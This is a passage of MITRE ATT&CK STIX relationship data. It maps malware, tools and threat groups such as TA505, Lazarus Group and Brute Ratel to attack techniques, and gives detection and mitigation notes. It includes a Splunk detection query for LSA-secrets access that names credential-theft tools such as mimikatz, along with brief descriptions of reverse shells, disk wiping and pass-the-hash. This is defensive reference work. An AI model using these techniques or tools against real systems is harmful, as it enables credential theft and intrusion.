2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b31e0e76-0239-41fc-a9a8-7c62b00510e1","created":"2021-11-22T16:37:40.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:22:14.536Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can compress and obfuscate its strings to evade detection on a compromised host.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b31e4e2d-5ea7-4f2a-ba75-96973dab116f","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T15:49:03.444Z","description":"Monitor for the LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets being accessed\n\nAnalytic 1 - Unauthorized registry access to LSA secrets.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\Policy\\\\Secrets*\" | where ProcessName IN (\"reg.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\", \"rundll32.exe\", \"mimikatz.exe\", \"procdump.exe\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b323db77-6bbf-4020-ac48-bee625dd44f2","created":"2023-02-13T20:08:43.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-17T20:29:30.019Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can call multiple Windows APIs for execution, to share memory, and defense evasion.(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3295bb6-356b-4f8e-b921-ec96d249c66b","type":"relationship","created":"2019-07-19T16:38:05.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:20:49.189Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b32af0e2-1bdc-4b62-a95d-cd1d73919dba","type":"relationship","created":"2020-02-18T18:03:37.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-31T13:11:21.463Z","description":"An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b32b4e03-1469-4a70-8d0b-cd3344e92b3f","type":"relationship","created":"2019-05-14T17:08:39.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}],"modified":"2019-06-07T20:52:37.167Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can wipe the master boot record of an infected computer.(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b32c0514-83e8-4822-98fd-f675896324c1","created":"2024-07-29T22:45:25.733Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:45:25.733Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) has used remotely-hosted instances of the Acunetix vulnerability scanner.(Citation: SentinelOne WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b32c6aa0-9299-4ada-a626-9805ba1f1610","type":"relationship","created":"2020-03-19T23:21:40.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne","source_name":"GitHub LaZagne Dec 2018"}],"modified":"2020-03-19T23:21:40.500Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from macOS Keychains.(Citation: GitHub LaZagne Dec 2018)\t","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b33486bc-c7f4-46d7-9e20-3863c5508820","created":"2021-12-02T16:06:56.052Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) can query the Registry for its configuration information.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-16T21:29:21.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b335924f-4bf8-4e47-824d-2010add95615","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for new constructed systemd services to repeatedly execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b33a7611-2426-434d-873a-6d74a8f91974","created":"2023-08-01T18:46:42.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.566Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can perform pass the hash on compromised machines with x64 versions.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b33fd646-b98b-4ea0-8ae3-5cf0367140f6","type":"relationship","created":"2020-02-21T22:07:25.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:26:32.065Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3436a7d-81cf-4f79-9c74-e3b2370288d2","created":"2019-05-30T16:43:10.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ProofPoint SettingContent-ms July 2018","description":"Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat"},{"source_name":"Cybereason TA505 April 2019","description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.666Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has downloaded additional malware to execute on victim systems.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: ProofPoint SettingContent-ms July 2018)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b34853df-c04a-4656-a5fe-3ee253c4de4e","type":"relationship","created":"2019-06-20T14:52:45.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2020-03-20T02:26:32.490Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has created a cmd.exe reverse shell, executed commands, and uploaded output via the command line.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b348a960-f2f1-4832-aeb4-ac890c1e1c39","created":"2020-03-28T00:29:30.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster Tools","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.","url":"https://web.archive.org/web/20220425194457/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:05:03.631Z","description":"Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware modifies the Windows firewall to allow incoming connections or disable it entirely using [netsh](https://attack.mitre.org/software/S0108). (Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b3492594-4cb7-4c5c-a0b4-5054720e83fe","created":"2022-09-27T18:03:02.575Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:03:02.575Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used the `tasklist` command to search for one of its backdoors.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html","description":"Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.","source_name":"iSIGHT Sandworm 2014"},{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."},{"source_name":"UK NCSC Olympic Attacks October 2020","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."},{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."}],"modified":"2022-02-28T17:02:50.401Z","description":"(Citation: iSIGHT Sandworm 2014)(Citation: F-Secure BlackEnergy 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)(Citation: Secureworks IRON VIKING )","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3515d7c-4e11-44b3-9342-4a6a7c378e75","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b351cd80-323d-4e67-a539-547a76d9e257","created":"2022-08-30T13:04:41.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T14:36:37.978Z","description":"The [Rclone](https://attack.mitre.org/software/S1040) \"chunker\" overlay supports splitting large files in smaller chunks during upload to circumvent size limits.(Citation: Rclone)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b359d367-d52c-4835-b242-1073d8a55bc3","created":"2022-10-13T16:07:45.267Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:07:45.267Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used malware such as [Azorult](https://attack.mitre.org/software/S0344) and [Cobalt Strike](https://attack.mitre.org/software/S0154) in their operations.(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b35cd29e-1439-4f7a-a81e-44d4db29cd8b","created":"2020-03-30T20:57:01.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T21:53:25.584Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with its C2 server over TCP ports 4443 and 10151 using HTTP.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b35ecac8-9a4d-4256-8263-0c0785dcd7e8","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b368c7c2-a593-45cb-b557-aac668a02656","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.700Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs discovery of permission groups net group /domain.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b36ef70d-6691-4f3b-a1ca-08d4aadaac7e","type":"relationship","created":"2021-10-11T19:34:23.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:34:23.401Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used PowerShell loaders as part of execution.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b37173c1-b29d-4a95-b79c-787b1acab673","type":"relationship","created":"2020-07-17T15:48:51.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:03.106Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can discover specified filetypes and log files on a targeted system.(Citation: CME Github September 